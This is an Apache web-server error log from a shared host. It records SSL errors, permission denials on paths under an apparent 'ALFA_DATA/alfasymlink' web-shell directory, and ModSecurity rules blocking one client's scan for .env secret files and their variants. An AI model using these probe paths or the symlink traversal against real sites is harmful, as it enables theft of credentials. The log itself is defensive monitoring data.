[Sun Oct 25 13:19:51.047363 2026] [ssl:error] [pid 2867885:tid 2867885] (70014)End of file found: [client 3.225.45.252:37794] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:19:55.163726 2026] [ssl:error] [pid 2867895:tid 2867895] (70014)End of file found: [client 3.218.103.254:15689] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:20:03.072380 2026] [core:error] [pid 2867876:tid 2867876] (13)Permission denied: [client 52.204.253.129:60075] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/input3/subsystem/mouse0/subsystem/mouse1/device/device/drvctl
[Sun Oct 25 13:20:11.072941 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 44.217.177.142:2266] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:20:14.950406 2026] [ssl:error] [pid 2867866:tid 2867866] (70014)End of file found: [client 54.166.104.83:15536] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:20:19.132119 2026] [ssl:error] [pid 2867836:tid 2867836] (5)Input/output error: [client 52.200.93.170:10737] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:20:23.148194 2026] [core:error] [pid 2867876:tid 2867876] (13)Permission denied: [client 44.221.180.179:1551] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/device:06/physical_node/driver/0000:00:05.0/rescan
[Sun Oct 25 13:20:25.967186 2026] [core:error] [pid 2867890:tid 2867890] (13)Permission denied: [client 85.208.96.209:24714] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fanotify_event/trace
[Sun Oct 25 13:20:31.467779 2026] [ssl:error] [pid 2862773:tid 2862773] (70014)End of file found: [client 54.147.80.137:56641] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:20:39.029751 2026] [core:error] [pid 2867885:tid 2867885] (13)Permission denied: [client 185.191.171.1:10242] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip6_mrt_cache/validate
[Sun Oct 25 13:20:47.441548 2026] [ssl:error] [pid 2867836:tid 2867836] (70014)End of file found: [client 3.208.156.9:3436] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:20:51.292459 2026] [ssl:error] [pid 2867876:tid 2867876] (70014)End of file found: [client 100.29.155.89:44149] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:21:03.440166 2026] [ssl:error] [pid 2867834:tid 2867834] (70014)End of file found: [client 44.217.177.142:48906] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:21:05.278775 2026] [core:error] [pid 2867885:tid 2867885] (13)Permission denied: [client 85.208.96.193:12418] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/damon_reclaim/parameters/max_nr_regions
[Sun Oct 25 13:21:07.912012 2026] [ssl:error] [pid 2867866:tid 2867866] (70014)End of file found: [client 54.88.84.219:33161] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:21:15.362344 2026] [ssl:error] [pid 2867876:tid 2867876] (70014)End of file found: [client 3.232.39.98:63918] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:21:23.334709 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 3.212.219.113:9961] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:21:27.228377 2026] [ssl:error] [pid 2867879:tid 2867879] (70014)End of file found: [client 18.204.152.114:11347] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:21:36.139158 2026] [core:error] [pid 2867866:tid 2867866] (13)Permission denied: [client 85.208.96.212:12254] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/posix_timers_cache/store_user
[Sun Oct 25 13:21:59.379891 2026] [ssl:error] [pid 2867866:tid 2867866] (70014)End of file found: [client 44.205.192.249:64836] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:22:03.938036 2026] [ssl:error] [pid 2867836:tid 2867836] (70014)End of file found: [client 54.84.147.79:28077] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:22:07.709126 2026] [ssl:error] [pid 2867895:tid 2867895] (70014)End of file found: [client 98.83.8.142:17679] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:22:15.429060 2026] [ssl:error] [pid 2867890:tid 2867890] (70014)End of file found: [client 52.204.174.139:42052] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:22:19.408077 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 18.235.158.19:52814] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:22:23.451425 2026] [ssl:error] [pid 2867879:tid 2867879] (70014)End of file found: [client 52.3.127.170:1246] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:22:26.630933 2026] [core:error] [pid 2862773:tid 2862773] (13)Permission denied: [client 85.208.96.202:47658] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_fib_trie/cpu_slabs
[Sun Oct 25 13:22:43.531251 2026] [ssl:error] [pid 2862822:tid 2862822] (70014)End of file found: [client 52.45.15.233:1824] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 13:22:44.673335 2026] [security2:error] [pid 2862773:tid 2862773] [client 85.155.15.20:51476] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at465FY5e6yJWIYGXiqDZgAAAAk"]
[Sun Oct 25 13:22:44.673553 2026] [security2:error] [pid 2862773:tid 2862773] [client 85.155.15.20:51476] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at465FY5e6yJWIYGXiqDZgAAAAk"]
[Sun Oct 25 13:22:44.673792 2026] [security2:error] [pid 2862773:tid 2862773] [client 85.155.15.20:51476] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at465FY5e6yJWIYGXiqDZgAAAAk"]
[Sun Oct 25 13:22:44.674550 2026] [security2:error] [pid 2867890:tid 2867890] [client 85.155.15.20:51546] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at465JkDGkILNr0EMn3BKgAAACw"]
[Sun Oct 25 13:22:44.674709 2026] [security2:error] [pid 2867890:tid 2867890] [client 85.155.15.20:51546] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at465JkDGkILNr0EMn3BKgAAACw"]
[Sun Oct 25 13:22:44.674937 2026] [security2:error] [pid 2867890:tid 2867890] [client 85.155.15.20:51546] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at465JkDGkILNr0EMn3BKgAAACw"]
[Sun Oct 25 13:22:44.675980 2026] [security2:error] [pid 2867876:tid 2867876] [client 85.155.15.20:51512] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at465FMGGelIHqGysXAaeQAAAB8"]
[Sun Oct 25 13:22:44.676153 2026] [security2:error] [pid 2867876:tid 2867876] [client 85.155.15.20:51512] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at465FMGGelIHqGysXAaeQAAAB8"]
[Sun Oct 25 13:22:44.676383 2026] [security2:error] [pid 2867876:tid 2867876] [client 85.155.15.20:51512] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at465FMGGelIHqGysXAaeQAAAB8"]
[Sun Oct 25 13:22:44.681797 2026] [proxy_fcgi:error] [pid 2862822:tid 2862822] [client 85.155.15.20:51496] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 13:22:44.682378 2026] [proxy_fcgi:error] [pid 2867866:tid 2867866] [client 85.155.15.20:51472] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 13:22:44.709789 2026] [security2:error] [pid 2867879:tid 2867879] [client 85.155.15.20:51456] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at465IIGIq5euXyTbvT0tQAAACQ"]
[Sun Oct 25 13:22:44.710032 2026] [security2:error] [pid 2867879:tid 2867879] [client 85.155.15.20:51456] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at465IIGIq5euXyTbvT0tQAAACQ"]
[Sun Oct 25 13:22:44.710311 2026] [security2:error] [pid 2867879:tid 2867879] [client 85.155.15.20:51456] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at465IIGIq5euXyTbvT0tQAAACQ"]
[Sun Oct 25 13:22:44.755863 2026] [security2:error] [pid 2862773:tid 2862773] [client 85.155.15.20:51476] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at465FY5e6yJWIYGXiqDZwAAAAk"]
[Sun Oct 25 13:22:44.756124 2026] [security2:error] [pid 2862773:tid 2862773] [client 85.155.15.20:51476] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at465FY5e6yJWIYGXiqDZwAAAAk"]
[Sun Oct 25 13:22:44.756369 2026] [security2:error] [pid 2862773:tid 2862773] [client 85.155.15.20:51476] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at465FY5e6yJWIYGXiqDZwAAAAk"]
[Sun Oct 25 13:22:44.760396 2026] [security2:error] [pid 2867876:tid 2867876] [client 85.155.15.20:51512] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at465FMGGelIHqGysXAaegAAAB8"]
[Sun Oct 25 13:22:44.760579 2026] [security2:error] [pid 2867876:tid 2867876] [client 85.155.15.20:51512] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at465FMGGelIHqGysXAaegAAAB8"]
[Sun Oct 25 13:22:44.760814 2026] [security2:error] [pid 2867876:tid 2867876] [client 85.155.15.20:51512] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at465FMGGelIHqGysXAaegAAAB8"]
[Sun Oct 25 13:22:44.760858 2026] [security2:error] [pid 2867836:tid 2867836] [client 85.155.15.20:51490] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at465EnqvEndZSiuRU5OZAAAAA8"]
[Sun Oct 25 13:22:44.761008 2026] [security2:error] [pid 2867836:tid 2867836] [client 85.155.15.20:51490] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at465EnqvEndZSiuRU5OZAAAAA8"]
[Sun Oct 25 13:22:44.761299 2026] [security2:error] [pid 2867836:tid 2867836] [client 85.155.15.20:51490] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at465EnqvEndZSiuRU5OZAAAAA8"]
[Sun Oct 25 13:22:44.764227 2026] [security2:error] [pid 2867834:tid 2867834] [client 85.155.15.20:51486] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at465CjnAS4eJh-ada2MhwAAAA0"]
[Sun Oct 25 13:22:44.764377 2026] [security2:error] [pid 2867834:tid 2867834] [client 85.155.15.20:51486] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at465CjnAS4eJh-ada2MhwAAAA0"]
[Sun Oct 25 13:22:44.764634 2026] [security2:error] [pid 2867834:tid 2867834] [client 85.155.15.20:51486] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at465CjnAS4eJh-ada2MhwAAAA0"]
[Sun Oct 25 13:22:44.766392 2026] [security2:error] [pid 2867866:tid 2867866] [client 85.155.15.20:51472] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at465OTZqNQxsvKVpXkhOgAAABM"]
[Sun Oct 25 13:22:44.766571 2026] [security2:error] [pid 2867866:tid 2867866] [client 85.155.15.20:51472] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at465OTZqNQxsvKVpXkhOgAAABM"]
[Sun Oct 25 13:22:44.766820 2026] [security2:error] [pid 2867866:tid 2867866] [client 85.155.15.20:51472] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at465OTZqNQxsvKVpXkhOgAAABM"]
[Sun Oct 25 13:22:44.767195 2026] [security2:error] [pid 2862822:tid 2862822] [client 85.155.15.20:51496] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at465MsxP9Gbm0IYLGL8wwAAACI"]
[Sun Oct 25 13:22:44.767411 2026] [security2:error] [pid 2862822:tid 2862822] [client 85.155.15.20:51496] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at465MsxP9Gbm0IYLGL8wwAAACI"]
[Sun Oct 25 13:22:44.767691 2026] [security2:error] [pid 2862822:tid 2862822] [client 85.155.15.20:51496] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at465MsxP9Gbm0IYLGL8wwAAACI"]
[Sun Oct 25 13:22:44.792678 2026] [security2:error] [pid 2867879:tid 2867879] [client 85.155.15.20:51456] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at465IIGIq5euXyTbvT0tgAAACQ"]
[Sun Oct 25 13:22:44.792872 2026] [security2:error] [pid 2867879:tid 2867879] [client 85.155.15.20:51456] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at465IIGIq5euXyTbvT0tgAAACQ"]
